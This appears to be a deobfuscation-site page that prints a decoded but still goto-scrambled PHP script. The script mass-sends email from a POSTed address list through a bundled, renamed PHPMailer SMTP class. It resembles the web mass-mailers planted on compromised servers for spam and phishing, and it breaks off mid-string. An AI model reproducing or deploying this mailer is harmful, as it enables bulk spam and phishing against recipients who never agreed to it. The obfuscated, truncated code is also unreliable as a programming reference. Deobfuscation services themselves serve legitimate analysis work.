Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

/* Decoded by unphp.net */ <?php goto O6297; O0991: O4162: goto O4310; O0005: foreach..

Decoded Output download

/* Decoded by unphp.net */ 
 
<?php  
goto O6297; O0991: O4162: goto O4310; O0005: foreach ($O4166 as $O5064) { goto O5316; O7653: O0416: goto O2793; O4037: $O3001->IsHTML(true); goto O6390; O8666: $O3001->o9988(o6726($O7388, $O5064), O6726($O0360, $O5064)); goto O0040; O7597: $O0667 = 0; goto O1721; O5601: if (!($O8411 < count($_FILES["attachment"]["name"]))) { goto O2289; } goto O1653; O0146: $O3001 = new o6643(); goto O8666; O9796: $O8411++; goto O4114; O5905: print "<br> 
"; goto O6792; O6911: if (!o6858($O5064)) { goto O6984; } goto O0146; O0817: O5206: goto O2954; O1653: if (!($_FILES["attachment"]["tmp_name"][$O8411] != '')) { goto O2846; } goto O5731; O9839: O0785: goto O4673; O3088: $O8411 = 0; goto O0352; O1508: $O3001->O0610 = $O3703; goto O3088; O5771: if ($O3082 == 1) { goto O5295; } goto O5428; O8147: $O3001->o0681($O5064); goto O8663; O3403: echo " "; goto O1102; O3051: goto O9870; goto O1965; O6346: O0701: goto O9796; O4114: goto O1063; goto O8599; O0040: $O3001->O6583(O6726($O0655, $O5064)); goto O8147; O4673: print "<br>\xd 
"; goto O6047; O6792: O0887: goto O0156; O0531: O5295: goto O4037; O2740: echo "<div class="col-lg-6"><span class="label label-success">SENT</span></div>"; goto O8808; O5731: $O3001->o2011($_FILES["attachment"]["tmp_name"][$O8411], $_FILES["attachment"]["name"][$O8411]); goto O2027; O2588: if (!($O0667 < 40000)) { goto O0809; } goto O3403; O5316: print "<div class="col-lg-1">[" . $O6393 . "/" . $O8271 . "]</div><div class="col-lg-5">" . $O5064 . "</div>"; goto O6911; O0156: $O6393++; goto O7597; O5374: print "<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>"; goto O5905; O6390: O7372: goto O7699; O6047: goto O0887; goto O6946; O7699: if (!$O3001->send()) { goto O5206; } goto O2740; O8746: $O3001->O1892 = O6726($O4957, $O5064); goto O1508; O9049: goto O7372; goto O0531; O8663: $O3001->O6959 = O6726($O6026, $O5064); goto O8746; O1470: $O0667++; goto O3051; O1721: O9870: goto O2588; O2027: O2846: goto O6346; O6946: O6984: goto O5374; O0352: O1063: goto O5601; O5428: $O3001->IsHTML(false); goto O9049; O1965: O0809: goto O7653; O1102: O1310: goto O1470; O2954: echo "<div class="col-lg-6"><span class="label label-default">" . $O3001->O3627 . "</span></div>"; goto O9839; O8808: goto O0785; goto O0817; O8599: O2289: goto O5771; O2793: } goto O6508; O9397: $O4384 = $_POST["emailList"]; goto O2983; O8860: if (!($_POST["action"] == "send")) { goto O1122; } goto O9397; O3443: $O6393 = 1; goto O0005; O1471: if (!($_POST["action"] == "send")) { goto O8005; } goto O5614; O2370: $O4103 = $_POST["shost"]; goto O9417; O1820: print "<body>"; goto O4750; O0254: $O0655 = O5768($_POST["replyTo"]); goto O5078; O2480: foreach ($O4166 as $O5064) { goto O8067; O4011: O5091: goto O2790; O9137: O2601: goto O3159; O8009: if (!$O3001->send()) { goto O7462; } goto O3173; O4869: if (!($O8411 < count($_FILES["attachment"]["name"]))) { goto O1223; } goto O9305; O5574: $O4640 = o6726($O4957, $O5064); goto O8314; O7967: O6303: goto O4869; O2790: $O8411++; goto O4080; O3159: $O6393++; goto O9205; O1686: O1223: goto O9386; O3843: O5957: goto O0129; O4080: goto O6303; goto O1686; O6691: O3698: goto O4011; O6775: O7462: goto O6385; O4621: $O3001->o2011($_FILES["attachment"]["tmp_name"][$O8411], $_FILES["attachment"]["name"][$O8411]); goto O6691; O9845: O4622: goto O1193; O1469: $O3001->IsHTML(false); goto O2335; O0106: $O3001->o0681($O5064); goto O7595; O8067: print "<div class="col-lg-1">[" . $O6393 . "/" . $O8271 . "]</div><div class="col-lg-5">" . $O5064 . "</div>"; goto O8722; O7986: O8378: goto O1849; O0450: O2176: goto O3843; O1193: $O0667++; goto O2769; O8968: $O8411 = 0; goto O7967; O8314: $O3001->O1892 = O6726($O4957, $O5064); goto O3919; O4762: $O3001->IsHTML(true); goto O3665; O9205: $O0667 = 0; goto O3331; O5103: $O3001 = new o6643(); goto O4788; O8628: O3654: goto O5063; O8345: goto O2601; goto O8628; O6385: echo "<div class="col-lg-6"><span class="label label-default">" . $O3001->O3627 . "</span></div>"; goto O7986; O3331: O2199: goto O5968; O3259: O2177: goto O4762; O2335: goto O1962; goto O3259; O9386: if ($O3082 == 1) { goto O2177; } goto O1469; O3665: O1962: goto O8009; O9983: goto O8378; goto O6775; O7616: print "<br> 
\xa"; goto O9137; O2769: goto O2199; goto O0450; O9305: if (!($_FILES["attachment"]["tmp_name"][$O8411] != '')) { goto O3698; } goto O4621; O3919: $O3001->O0610 = $O3703; goto O8968; O5968: if (!($O0667 < 40000)) { goto O2176; } goto O2870; O4788: $O3001->o9988(O6726($O7388, $O5064), o6726($O0360, $O5064)); goto O1410; O8722: if (!o6858($O5064)) { goto O3654; } goto O5103; O7595: $O3001->O6959 = O6726($O6026, $O5064); goto O5574; O3173: echo "<div class="col-lg-6"><span class="label label-success">SENT</span></div>"; goto O9983; O5063: print "<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>"; goto O7616; O2870: echo " "; goto O9845; O1849: print "<br>\xd\xa"; goto O8345; O1410: $O3001->O6583(o6726($O0655, $O5064)); goto O0106; O0129: } goto O3489; O9687: class O1053 { const O2652 = "6.0.7"; const O7401 = " 
"; const O1570 = 25; const O6446 = 998; const O8745 = 0; const O4528 = 1; const O1184 = 2; const O1484 = 3; const O3895 = 4; public $O2821 = self::O8745; public $O4819 = "echo"; public $O3117 = false; public $O5237 = 300; public $O5523 = 300; protected $O9580 = array("exim" => "/[\d]{3} OK id=(.*)/", "sendmail" => "/[\d]{3} 2.0.0 (.*) Message/", "postfix" => "/[\d]{3} 2.0.0 Ok: queued as (.*)/", "Microsoft_ESMTP" => "/[0-9]{3} 2.[\d].0 (.*)@(?:.*) Queued mail for delivery/", "Amazon_SES" => "/[\d]{3} Ok (.*)/", "SendGrid" => "/[\d]{3} Ok: queued as (.*)/", "CampaignMonitor" => "/[\d]{3} 2.0.0 OK:([a-zA-Z\d]{48})/"); protected $O8641; protected $O0257; protected $error = array("error" => '', "detail" => '', "smtp_code" => '', "smtp_code_ex" => ''); protected $O2066 = null; protected $O5742 = null; protected $O5582 = ''; protected function O5093($O6471, $O6874 = 0) { goto O3427; O7030: O0876: goto O6790; O3427: if (!($O6874 > $this->O2821)) { goto O4555; } goto O2278; O2278: return; goto O8700; O6790: O4690: goto O6387; O1628: if (!$this->O4819 instanceof \O4873\Log\o7398) { goto O1624; } goto O9789; O8335: call_user_func($this->O4819, $O6471, $O6874); goto O3490; O3490: return; goto O3532; O9789: $this->O4819->debug($O6471); goto O7639; O9550: if (!(!in_array($this->O4819, ["error_log", "html", "echo"]) and is_callable($this->O4819))) { goto O6891; } goto O8335; O3532: O6891: goto O5844; O7639: return; goto O0041; O0041: O1624: goto O9550; O5844: switch ($this->O4819) { case "error_log": error_log($O6471); goto O4690; case "html": echo gmdate("Y-m-d H:i:s"), " ", htmlentities(preg_replace("/[\r\n]+/", '', $O6471), ENT_QUOTES, "UTF-8"), "<br> 
"; goto O4690; case "echo": default: $O6471 = preg_replace("/\r\n|\r/ms", " 
", $O6471); echo gmdate("Y-m-d H:i:s"), "\x9", trim(str_replace("\xa", " 
                   \x9                  ", trim($O6471))), " 
"; } goto O7030; O8700: O4555: goto O1628; O6387: } public function connect($O3954, $O4008 = null, $O5314 = 30, $O4868 = array()) { goto O3039; O1866: O8573: goto O3520; O2361: if (!(null === $O9130)) { goto O5044; } goto O9309; O5154: $O7859 = ini_get("max_execution_time"); goto O1069; O1069: if (!(0 != $O7859 and $O5314 > $O7859)) { goto O8573; } goto O2300; O1351: $this->O5093("Connection: opened", self::O1484); goto O5703; O3520: stream_set_timeout($this->O0257, $O5314, 0); goto O2281; O5866: $this->O5093("Connection: opening to{$O3954}:{$O4008}, timeout={$O5314}, options=" . (count($O4868) > 0 ? var_export($O4868, true) : "array()"), self::O1484); goto O9611; O4858: $this->O8188(''); goto O8763; O8461: $this->O8188("Already connected to a server"); goto O9058; O8356: O2478: goto O5866; O4244: O5456: goto O8712; O6502: restore_error_handler(); goto O4353; O3039: static $O9130; goto O2361; O8712: if (is_resource($this->O0257)) { goto O2379; } goto O1329; O1474: O5044: goto O4858; O5121: $O4008 = self::O1570; goto O8356; O6692: O2379: goto O1351; O7281: $this->O0257 = fsockopen($O3954, $O4008, $O8470, $O1127, $O5314); goto O6502; O9611: $O8470 = 0; goto O1710; O5759: if ($O9130) { goto O1948; } goto O9202; O9058: return false; goto O2135; O1329: $this->O8188("Failed to connect to server", '', (string) $O8470, (string) $O1127); goto O4493; O2281: O3588: goto O3264; O4678: O1948: goto O3901; O8659: $this->o5093("SERVER -> CLIENT: " . $O2260, self::O1184); goto O7277; O4105: return false; goto O6692; O3901: $O8753 = stream_context_create($O4868); goto O1061; O4353: goto O5456; goto O4678; O8991: if (!empty($O4008)) { goto O2478; } goto O5121; O2300: @set_time_limit($O5314); goto O1866; O9309: $O9130 = function_exists("stream_socket_client"); goto O1474; O8763: if (!$this->O4754()) { goto O2513; } goto O8461; O1710: $O1127 = ''; goto O5759; O4493: $this->O5093("SMTP ERROR: " . $this->error["error"] . ":{$O1127} ({$O8470})", self::O4528); goto O4105; O3584: set_error_handler([$this, "errorHandler"]); goto O7281; O9202: $this->o5093("Connection: stream_socket_client not available, falling back to fsockopen", self::O1484); goto O3584; O0436: $this->O0257 = stream_socket_client($O3954 . ":" . $O4008, $O8470, $O1127, $O5314, STREAM_CLIENT_CONNECT, $O8753); goto O0364; O3264: $O2260 = $this->o3669(); goto O8659; O1061: set_error_handler([$this, "errorHandler"]); goto O0436; O7277: return true; goto O9133; O2135: O2513: goto O8991; O0364: restore_error_handler(); goto O4244; O5703: if (!(substr(PHP_OS, 0, 3) != "WIN")) { goto O3588; } goto O5154; O9133: } public function O4990() { goto O9673; O2535: $O9186 = STREAM_CRYPTO_METHOD_TLS_CLIENT; goto O4916; O4916: if (!defined("STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT")) { goto O6474; } goto O2497; O0779: return (bool) $O7051; goto O1615; O9585: restore_error_handler(); goto O0779; O3114: O5732: goto O2535; O9121: set_error_handler([$this, "errorHandler"]); goto O2423; O4061: return false; goto O3114; O9673: if ($this->o4557("STARTTLS", "STARTTLS", 220)) { goto O5732; } goto O4061; O2497: $O9186 |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; goto O0529; O0529: $O9186 |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; goto O2555; O2555: O6474: goto O9121; O2423: $O7051 = stream_socket_enable_crypto($this->O0257, true, $O9186); goto O9585; O1615: } public function O0444($O6564, $O2889, $O2597 = null, $O3491 = null) { goto O2207; O0103: O5945: goto O6228; O4078: $this->O8188("Authentication is not allowed at this stage"); goto O0975; O4418: return false; goto O5190; O6729: switch ($O2597) { case "PLAIN": goto O1943; O9988: goto O5580; goto O0266; O7874: O9652: goto O9988; O7103: if ($this->o4557("User & Password", base64_encode("\x0" . $O6564 . "\x0" . $O2889), 235)) { goto O9652; } goto O3857; O1943: if ($this->O4557("AUTH", "AUTH PLAIN", 334)) { goto O9034; } goto O0430; O3857: return false; goto O7874; O3819: O9034: goto O7103; O0430: return false; goto O3819; O0266: case "LOGIN": goto O2966; O1431: return false; goto O6352; O2966: if ($this->o4557("AUTH", "AUTH LOGIN", 334)) { goto O3957; } goto O4510; O7455: return false; goto O2429; O6352: O6761: goto O4952; O4952: if ($this->O4557("Password", base64_encode($O2889), 235)) { goto O4988; } goto O7455; O3647: O3957: goto O5348; O4510: return false; goto O3647; O5348: if ($this->O4557("Username", base64_encode($O6564), 334)) { goto O6761; } goto O1431; O2429: O4988: goto O8286; O8286: goto O5580; goto O9148; O9148: case "CRAM-MD5": goto O4002; O4207: O9302: goto O4213; O2395: return false; goto O4207; O0505: return $this->o4557("Username", base64_encode($O7354), 235); goto O3007; O4215: $O7354 = $O6564 . " " . $this->O8003($O4437, $O2889); goto O0505; O4213: $O4437 = base64_decode(substr($this->O5582, 4)); goto O4215; O4002: if ($this->O4557("AUTH CRAM-MD5", "AUTH CRAM-MD5", 334)) { goto O9302; } goto O2395; O3007: case "XOAUTH2": goto O8315; O8011: O8543: goto O4121; O5048: goto O5580; goto O1055; O4121: $O9783 = $O3491->o0725(); goto O7213; O6830: O0031: goto O5048; O1536: return false; goto O6830; O7213: if ($this->o4557("AUTH", "AUTH XOAUTH2 " . $O9783, 235)) { goto O0031; } goto O1536; O2433: return false; goto O8011; O8315: if (!(null === $O3491)) { goto O8543; } goto O2433; O1055: default: $this->o8188("Authentication method "{$O2597}" is not supported"); return false; } goto O6433; O0975: return false; goto O4092; O7486: O5580: goto O9848; O4092: O8969: goto O4967; O9655: if (empty($O2597)) { goto O6259; } goto O1160; O0957: if (in_array($O2597, $this->O5742["AUTH"])) { goto O4752; } goto O4498; O1160: goto O4153; goto O8042; O3572: if (array_key_exists("AUTH", $this->O5742)) { goto O8969; } goto O4078; O1489: O6259: goto O9633; O6433: O1176: goto O7486; O4463: O4515: goto O8515; O8515: if (array_key_exists("EHLO", $this->O5742)) { goto O0187; } goto O9655; O5621: $this->O5093("Requested auth method not available: " . $O2597, self::O3895); goto O5317; O2207: if ($this->O5742) { goto O4515; } goto O3080; O2735: $this->o8188("No supported authentication methods found"); goto O4418; O9192: O4752: goto O4381; O6426: return false; goto O4463; O9848: return true; goto O3342; O3080: $this->o8188("Authentication is not allowed before HELO/EHLO"); goto O6426; O4967: $this->O5093("Auth method requested: " . ($O2597 ? $O2597 : "UNSPECIFIED"), self::O3895); goto O8807; O4583: O9573: goto O1473; O6666: if (!(null !== $O2597 and !in_array($O2597, $this->O5742["AUTH"]))) { goto O9573; } goto O5621; O6228: if (!empty($O2597)) { goto O1172; } goto O2735; O5190: O1172: goto O9993; O4381: goto O4153; goto O1489; O8042: O0187: goto O3572; O3065: foreach (["CRAM-MD5", "LOGIN", "PLAIN", "XOAUTH2"] as $O7744) { goto O8092; O4716: $O2597 = $O7744; goto O9962; O0114: O2461: goto O4661; O8092: if (!in_array($O7744, $this->O5742["AUTH"])) { goto O2461; } goto O4716; O4661: O4552: goto O3849; O9962: goto O5945; goto O0114; O3849: } goto O0103; O0052: return false; goto O9192; O5317: $O2597 = null; goto O4583; O8807: $this->o5093("Auth methods available on the server: " . implode(",", $this->O5742["AUTH"]), self::O3895); goto O6666; O4517: O4153: goto O6729; O9993: self::O5093("Auth method selected: " . $O2597, self::O3895); goto O8457; O8457: O0295: goto O0957; O1473: if (!empty($O2597)) { goto O0295; } goto O3065; O4498: $this->O8188("The requested authentication method "{$O2597}" is not supported by the server"); goto O0052; O9633: $O2597 = "LOGIN"; goto O4517; O3342: } protected function o8003($O5016, $O6432) { goto O6367; O2733: $O0449 = str_pad('', $O7600, chr(0x36)); goto O7048; O6687: $O6432 = str_pad($O6432, $O7600, chr(0x0)); goto O2733; O9771: $O1569 = $O6432 ^ $O0449; goto O8645; O3784: return md5($O2088 . pack("H*", md5($O1569 . $O5016))); goto O9318; O1947: $O7600 = 64; goto O9586; O7048: $O4210 = str_pad('', $O7600, chr(0x5c)); goto O9771; O6367: if (!function_exists("hash_hmac")) { goto O2656; } goto O6606; O8302: O2656: goto O1947; O7214: O2952: goto O6687; O6606: return hash_hmac("md5", $O5016, $O6432); goto O8302; O9586: if (!(strlen($O6432) > $O7600)) { goto O2952; } goto O7006; O8645: $O2088 = $O6432 ^ $O4210; goto O3784; O7006: $O6432 = pack("H*", md5($O6432)); goto O7214; O9318: } public function O4754() { goto O4572; O8527: return false; goto O5981; O2835: O3021: goto O7162; O4572: if (!is_resource($this->O0257)) { goto O4619; } goto O9124; O7162: return true; goto O4935; O4935: O4619: goto O8527; O9124: $O1025 = stream_get_meta_data($this->O0257); goto O6148; O2518: return false; goto O2835; O6148: if (!$O1025["eof"]) { goto O3021; } goto O6477; O7628: $this->close(); goto O2518; O6477: $this->O5093("SMTP NOTICE: EOF caught while checking if connected", self::O4528); goto O7628; O5981: } public function close() { goto O3931; O2406: if (!is_resource($this->O0257)) { goto O4993; } goto O0678; O1881: $this->O2066 = null; goto O2406; O0678: fclose($this->O0257); goto O9460; O8364: O4993: goto O3001; O3931: $this->O8188(''); goto O7783; O0509: $this->o5093("Connection: closed", self::O1484); goto O8364; O7783: $this->O5742 = null; goto O1881; O9460: $this->O0257 = null; goto O0509; O3001: } public function o6302($O4783) { goto O1701; O5938: $this->O5523 = $O5826; goto O0721; O3058: return false; goto O3717; O6382: $O4610 = substr($O7040[0], 0, strpos($O7040[0], ":")); goto O7419; O7419: $O9448 = false; goto O4019; O5493: foreach ($O7040 as $O8240) { goto O4083; O6048: goto O7151; goto O8568; O0591: O0488: goto O9745; O6995: $O8240 = "	" . $O8240; goto O3910; O1040: if (!isset($O8240[self::O6446])) { goto O6873; } goto O6358; O5030: $O0625[] = substr($O8240, 0, $O2343); goto O5647; O6273: O0057: goto O8936; O2564: $O9448 = false; goto O0591; O0708: goto O1768; goto O1112; O3910: O5767: goto O6048; O8936: O9119: goto O5937; O4083: $O0625 = []; goto O1472; O9745: O7151: goto O1040; O8568: O6873: goto O5484; O5484: $O0625[] = $O8240; goto O5556; O6247: $O8240 = substr($O8240, $O2343); goto O3220; O5647: $O8240 = substr($O8240, $O2343 + 1); goto O0708; O1472: if (!($O9448 and $O8240 == '')) { goto O0488; } goto O2564; O6358: $O2343 = strrpos(substr($O8240, 0, self::O6446), " "); goto O8843; O5556: foreach ($O0625 as $O2310) { goto O7053; O1690: O2692: goto O6141; O7053: if (!(!empty($O2310) and $O2310[0] == ".")) { goto O2692; } goto O8190; O8190: $O2310 = "." . $O2310; goto O1690; O2683: O9316: goto O9690; O6141: $this->O1117($O2310 . static::O7401, "DATA"); goto O2683; O9690: } goto O6273; O3220: O1768: goto O6544; O8843: if (!$O2343) { goto O6613; } goto O5030; O1112: O6613: goto O4567; O4567: $O2343 = self::O6446 - 1; goto O9531; O9531: $O0625[] = substr($O8240, 0, $O2343); goto O6247; O6544: if (!$O9448) { goto O5767; } goto O6995; O5937: } goto O5894; O1701: if ($this->o4557("DATA", "DATA", 354)) { goto O5854; } goto O3058; O3717: O5854: goto O5067; O4019: if (!(!empty($O4610) and strpos($O4610, " ") === false)) { goto O7630; } goto O1403; O2776: $O0515 = $this->O4557("DATA END", ".", 250); goto O1574; O1574: $this->o6409(); goto O5938; O1567: $O5826 = $this->O5523; goto O4692; O4692: $this->O5523 = $this->O5523 * 2; goto O2776; O1403: $O9448 = true; goto O9310; O5067: $O7040 = explode("\xa", str_replace([" 
", "\xd"], "\xa", $O4783)); goto O6382; O9310: O7630: goto O5493; O0721: return $O0515; goto O9766; O5894: O9112: goto O1567; O9766: } public function O5919($O3954 = '') { return $this->o8123("EHLO", $O3954) or $this->o8123("HELO", $O3954); } protected function O8123($O5140, $O3954) { goto O4486; O9221: $this->O2066 = $this->O5582; goto O3293; O3020: goto O1840; goto O6607; O8418: O1840: goto O9930; O6256: $this->O5742 = null; goto O3020; O4486: $O7311 = $this->O4557($O5140, $O5140 . " " . $O3954, 250); goto O9221; O6607: O5166: goto O9622; O3293: if ($O7311) { goto O5166; } goto O6256; O9930: return $O7311; goto O4742; O9622: $this->o2037($O5140); goto O8418; O4742: } protected function O2037($O9999) { goto O2676; O4000: O2725: goto O2815; O0174: $O7040 = explode("\xa", $this->O2066); goto O3848; O3848: foreach ($O7040 as $O8271 => $O4454) { goto O3486; O1851: if (empty($O1198)) { goto O8130; } goto O2998; O4582: O6962: goto O3072; O4828: switch ($O3333) { case "SIZE": $O1198 = $O1198 ? $O1198[0] : 0; goto O8069; case "AUTH": goto O4790; O5106: $O1198 = []; goto O2414; O4790: if (is_array($O1198)) { goto O3344; } goto O5106; O2414: O3344: goto O3607; O3607: goto O8069; goto O8761; O8761: default: $O1198 = true; } goto O4582; O0527: O6329: goto O2225; O4031: goto O3906; goto O9666; O5540: $O1198 = $O1198[0]; goto O8970; O0533: O1988: goto O7927; O0913: $O3333 = array_shift($O1198); goto O4828; O8970: O3906: goto O3209; O3072: O8069: goto O4031; O3209: $this->O5742[$O3333] = $O1198; goto O6878; O7927: $O1198 = explode(" ", $O4454); goto O1851; O6878: O8130: goto O0527; O2998: if (!$O8271) { goto O9478; } goto O0913; O4724: goto O6329; goto O0533; O3774: $O3333 = $O9999; goto O5540; O9666: O9478: goto O3774; O8115: if (!empty($O4454)) { goto O1988; } goto O4724; O3486: $O4454 = trim(substr($O4454, 4)); goto O8115; O2225: } goto O4000; O2676: $this->O5742 = []; goto O0174; O2815: } public function mail($O1456) { $O9916 = $this->O3117 ? " XVERP" : ''; return $this->o4557("MAIL FROM", "MAIL FROM:<" . $O1456 . ">" . $O9916, 250); } public function o3074($O6119 = true) { goto O7297; O7297: $O7311 = $this->O4557("QUIT", "QUIT", 221); goto O2155; O6054: if (!($O7311 or $O6119)) { goto O4605; } goto O2403; O1027: O4605: goto O0638; O2155: $O9629 = $this->error; goto O6054; O0638: return $O7311; goto O1105; O5726: $this->error = $O9629; goto O1027; O2403: $this->close(); goto O5726; O1105: } public function O7087($O4707, $O4576 = '') { goto O1127; O1130: O5191: goto O9925; O1127: if (empty($O4576)) { goto O8506; } goto O1290; O2267: $O3513 = "RCPT TO:<" . $O4707 . ">"; goto O0683; O2965: return $this->o4557("RCPT TO", $O3513, [250, 251]); goto O4385; O1290: $O4576 = strtoupper($O4576); goto O5250; O3997: goto O5318; goto O1130; O8975: O5318: goto O7317; O7317: $O3513 = "RCPT TO:<" . $O4707 . "> NOTIFY=" . implode(",", $O5404); goto O2639; O1797: foreach (["SUCCESS", "FAILURE", "DELAY"] as $O1459) { goto O0741; O9407: $O5404[] = $O1459; goto O8609; O5632: O4424: goto O8891; O0741: if (!(strpos($O4576, $O1459) !== false)) { goto O3790; } goto O9407; O8609: O3790: goto O5632; O8891: } goto O1060; O0683: O2985: goto O2965; O9925: $O5404[] = "NEVER"; goto O8975; O1060: O0346: goto O3997; O7036: if (strpos($O4576, "NEVER") !== false) { goto O5191; } goto O1797; O5250: $O5404 = []; goto O7036; O6970: O8506: goto O2267; O2639: goto O2985; goto O6970; O4385: } public function reset() { return $this->O4557("RSET", "RSET", 250); } protected function O4557($O1890, $O9526, $O7163) { goto O8196; O4932: return false; goto O7260; O7260: O2528: goto O9730; O1823: $O5005 = $O1779[1]; goto O5638; O6794: $this->O1117($O9526 . static::O7401, $O1890); goto O5501; O9511: $this->o5093("SERVER -> CLIENT: " . $this->O5582, self::O1184); goto O4733; O3462: $this->O5093("SMTP ERROR: " . $this->error["error"] . ": " . $this->O5582, self::O4528); goto O4932; O1343: $O6581 = substr($this->O5582, 4); goto O8823; O2069: $O1779 = []; goto O6942; O2398: $O2023 = null; goto O1343; O6406: O2428: goto O9511; O4780: $this->O8188("Called{$O1890} without being connected"); goto O9038; O8196: if ($this->O4754()) { goto O4712; } goto O4780; O5019: $this->O8188("{$O1890} command failed", $O6581, $O5005, $O2023); goto O3462; O6942: if (preg_match("/^([0-9]{3})[ -](?:([0-9]\.[0-9]\.[0-9]{1,2}) )?/", $this->O5582, $O1779)) { goto O0121; } goto O0532; O5143: O4712: goto O9637; O9730: $this->O8188(''); goto O8401; O8874: $O6581 = preg_replace("/{$O5005}[ -]" . ($O2023 ? str_replace(".", "\.", $O2023) . " " : '') . "/m", '', $this->O5582); goto O6406; O7627: O7704: goto O6794; O0532: $O5005 = substr($this->O5582, 0, 3); goto O2398; O9038: return false; goto O5143; O4623: $this->O8188("Command '{$O1890}' contained line breaks"); goto O7440; O8823: goto O2428; goto O7444; O5638: $O2023 = count($O1779) > 2 ? $O1779[2] : null; goto O8874; O7444: O0121: goto O1823; O4733: if (in_array($O5005, (array) $O7163)) { goto O2528; } goto O5019; O9637: if (!(strpos($O9526, "\xa") !== false or strpos($O9526, "\xd") !== false)) { goto O7704; } goto O4623; O7440: return false; goto O7627; O8401: return true; goto O9725; O5501: $this->O5582 = $this->O3669(); goto O2069; O9725: } public function o6083($O1456) { return $this->o4557("SAML", "SAML FROM:{$O1456}", 250); } public function o8513($O3333) { return $this->O4557("VRFY", "VRFY{$O3333}", [250, 251]); } public function o7488() { return $this->O4557("NOOP", "NOOP", 250); } public function O9569() { goto O5886; O4317: $this->O5093("SMTP NOTICE: " . $this->error["error"], self::O4528); goto O3897; O3897: return false; goto O9151; O5886: $this->o8188("The SMTP TURN command is not implemented"); goto O4317; O9151: } public function o1117($O5016, $O1890 = '') { goto O2005; O0548: restore_error_handler(); goto O7418; O6085: O3292: goto O1157; O1640: $this->o5093("CLIENT -> SERVER: " . $O5016, self::O4528); goto O1504; O1157: $this->o5093("CLIENT -> SERVER: <credentials hidden>", self::O4528); goto O3249; O2005: if (self::O3895 > $this->O2821 and in_array($O1890, ["User & Password", "Username", "Password"], true)) { goto O3292; } goto O1640; O0553: $O0515 = fwrite($this->O0257, $O5016); goto O0548; O7418: return $O0515; goto O6345; O1504: goto O4781; goto O6085; O8473: set_error_handler([$this, "errorHandler"]); goto O0553; O3249: O4781: goto O8473; O6345: } public function O8504() { return $this->error; } public function O8936() { return $this->O5742; } public function O6117($O3333) { goto O2772; O8447: O4003: goto O1152; O3468: return; goto O8447; O1152: if (array_key_exists($O3333, $this->O5742)) { goto O5062; } goto O4460; O4113: O1200: goto O4681; O7153: return; goto O4543; O2772: if ($this->O5742) { goto O4003; } goto O7289; O9749: O9217: goto O9025; O7289: $this->O8188("No HELO/EHLO was sent"); goto O3468; O8474: return $this->O5742[$O3333]; goto O3887; O5603: return false; goto O9749; O4543: O5062: goto O8474; O4681: if (!("EHLO" == $O3333 || array_key_exists("EHLO", $this->O5742))) { goto O9217; } goto O5603; O4460: if (!("HELO" == $O3333)) { goto O1200; } goto O3810; O3810: return $this->O5742["EHLO"]; goto O4113; O9025: $this->o8188("HELO handshake was used; No information about server extensions available"); goto O7153; O3887: } public function o0314() { return $this->O5582; } protected function o3669() { goto O3357; O8864: if (!(is_resource($this->O0257) and !feof($this->O0257))) { goto O9902; } goto O1269; O6045: $O9852 = 0; goto O7953; O3218: O8024: goto O8579; O4131: if (!($O9852 and time() > $O9852)) { goto O2718; } goto O1815; O9415: goto O1779; goto O4663; O1269: if (stream_select($O6353, $O6395, $O6395, $this->O5523)) { goto O1003; } goto O6465; O4104: goto O9902; goto O6661; O1477: $this->O5093("SMTP INBOUND: "" . trim($O6471) . """, self::O3895); goto O3650; O6697: O6539: goto O4225; O6507: $O6471 = @fgets($this->O0257, 515); goto O1477; O0116: $this->o5093("SMTP -> get_lines(): timed-out (" . $this->O5237 . " sec)", self::O3895); goto O4104; O3177: O2718: goto O9415; O7953: stream_set_timeout($this->O0257, $this->O5237); goto O5533; O7603: $O6353 = [$this->O0257]; goto O7919; O5533: if (!($this->O5523 > 0)) { goto O2713; } goto O4531; O1281: if (!$O1624["timed_out"]) { goto O7077; } goto O0116; O3357: if (is_resource($this->O0257)) { goto O8024; } goto O5463; O7919: $O6395 = null; goto O3535; O6908: if (!(!isset($O6471[3]) or isset($O6471[3]) and $O6471[3] == " ")) { goto O6539; } goto O0283; O1728: goto O9902; goto O4220; O2903: O2713: goto O7603; O8579: $O5016 = ''; goto O6045; O4225: $O1624 = stream_get_meta_data($this->O0257); goto O1281; O6465: $this->o5093("SMTP -> get_lines(): timed-out (" . $this->O5237 . " sec)", self::O3895); goto O1728; O4531: $O9852 = time() + $this->O5523; goto O2903; O1909: return $O5016; goto O7681; O5463: return ''; goto O3218; O0391: goto O9902; goto O3177; O3650: $O5016 .= $O6471; goto O6908; O4663: O9902: goto O1909; O6661: O7077: goto O4131; O0283: goto O9902; goto O6697; O4220: O1003: goto O6507; O1815: $this->O5093("SMTP -> get_lines(): timelimit reached (" . $this->O5523 . " sec)", self::O3895); goto O0391; O3535: O1779: goto O8864; O7681: } public function o0797($O2262 = false) { $this->O3117 = $O2262; } public function O7587() { return $this->O3117; } protected function o8188($O6131, $O6581 = '', $O2015 = '', $O2302 = '') { $this->error = ["error" => $O6131, "detail" => $O6581, "smtp_code" => $O2015, "smtp_code_ex" => $O2302]; } public function o9338($O7744 = "echo") { $this->O4819 = $O7744; } public function O7016() { return $this->O4819; } public function o4292($O6874 = 0) { $this->O2821 = $O6874; } public function o1558() { return $this->O2821; } public function o9918($O5314 = 0) { $this->O5237 = $O5314; } public function o7082() { return $this->O5237; } protected function o4742($O8470, $O9148, $O5656 = '', $O2204 = 0) { goto O0981; O0981: $O4927 = "Connection failed."; goto O9190; O9190: $this->o8188($O4927, $O9148, (string) $O8470); goto O0280; O0280: $this->o5093("{$O4927} Error #{$O8470}: {$O9148} [{$O5656} line {$O2204}]", self::O1484); goto O1825; O1825: } protected function O6409() { goto O3442; O3101: goto O1315; goto O2632; O8981: $this->O8641 = null; goto O0747; O0747: O1315: goto O2653; O4345: foreach ($this->O9580 as $O2726) { goto O1219; O4512: $this->O8641 = trim($O1779[1]); goto O4414; O6234: O8747: goto O0341; O0341: O8460: goto O6759; O1219: if (!preg_match($O2726, $O5445, $O1779)) { goto O8747; } goto O4512; O4414: goto O7209; goto O6234; O6759: } goto O1078; O4091: $this->O8641 = false; goto O4345; O2632: O5788: goto O8981; O3442: $O5445 = $this->O0314(); goto O8006; O1078: O7209: goto O3101; O8006: if (empty($O5445)) { goto O5788; } goto O4091; O2653: return $this->O8641; goto O3132; O3132: } public function O5818() { return $this->O8641; } } goto O4318; O4157: $O4311 = "[email 